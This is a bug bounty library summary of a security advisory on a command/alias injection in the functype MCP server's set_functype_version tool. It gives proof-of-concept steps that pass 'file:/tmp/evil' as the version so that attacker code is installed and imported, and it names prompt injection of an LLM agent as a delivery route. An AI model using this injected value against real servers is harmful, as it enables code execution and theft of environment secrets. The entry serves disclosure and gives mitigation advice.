# functype-mcp-server: MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import

MCP tool set_functype_version interpolates unvalidated version into `functype@<version>` for pnpm add, letting a `file:` alias install attacker code that is then dynamically imported, achieving RCE.

- Payout: Research
- Severity: high
- Program: functype-mcp-server
- Found by: EQSTLab
- Disclosed: 2026-09-09
- CVE: CVE-2026-59176
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-wcjj-9m6g-2fr2
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-wcjj-9m6g-2fr2
- Tags: area:ai domain:ai domain:oss impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:command-injection vuln:rce

**Target:** MCP server tool `set_functype_version` (stdio/httpStream transport)
**Root cause:** The `version` parameter is only validated as `z.string()` and interpolated into an npm specifier `functype@${version}` passed to `pnpm add`, so alias syntaxes like `file:` install an arbitrary package; the server then calls `initDocsData(true)` which dynamically imports `functype/cli` from the attacker package.
**Steps:**
1. Create evil package at `/tmp/evil` with package.json `{"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}}` and cli.js writing `/pwned.txt` at import time.
2. Build victim monorepo at v1.4.3: `pnpm install --frozen-lockfile`, `pnpm -F functype build`, `pnpm -F functype-mcp-server build`.
3. Connect an MCP client over StdioClientTransport to `packages/mcp-server/dist/bin.js` with `TRANSPORT_TYPE=stdio`.
4. Call tool `set_functype_version` with `arguments: { version: "file:/tmp/evil" }`.
5. Server runs `execFileSync("pnpm", ["add", "functype@file:/tmp/evil"])`, then `initDocsData(true)` resolves and dynamic-imports `functype/cli`, executing cli.js.
6. Verify `cat /pwned.txt` shows the RCE marker.
**How found:** Source review of the MCP tool registration: noticed `version` only constrained by `z.string()` and interpolated into an npm specifier, then traced the post-install `initDocsData(true)` call to the dynamic `import()` of `functype/cli` as the execution sink.
**Exploitation:** Attacker with MCP tool access (no auth in stdio mode; network-reachable in httpStream deployments) supplies `version=file:/path/to/evil` or an `npm:` alias; pnpm installs the attacker package as the `functype` alias, and the immediate `initDocsData(true)` dynamic import executes module-level code in the server process, giving read of env secrets, file modification, or crash. Indirect prompt injection against an LLM agent connected to the server is a plausible delivery vector.
**Escalation:** In non-default `TRANSPORT_TYPE=httpStream` deployments the tool is network-accessible, removing the need for local MCP client access.
**Insight:** Any tool that shells out to a package manager with a user-supplied version string is an alias-injection sink: npm/pnpm specifiers accept `file:`, `npm:`, git URLs and paths, so a semver-only regex plus `--ignore-scripts` is required — and check whether the codebase re-imports the just-installed package, which turns install into immediate execution.

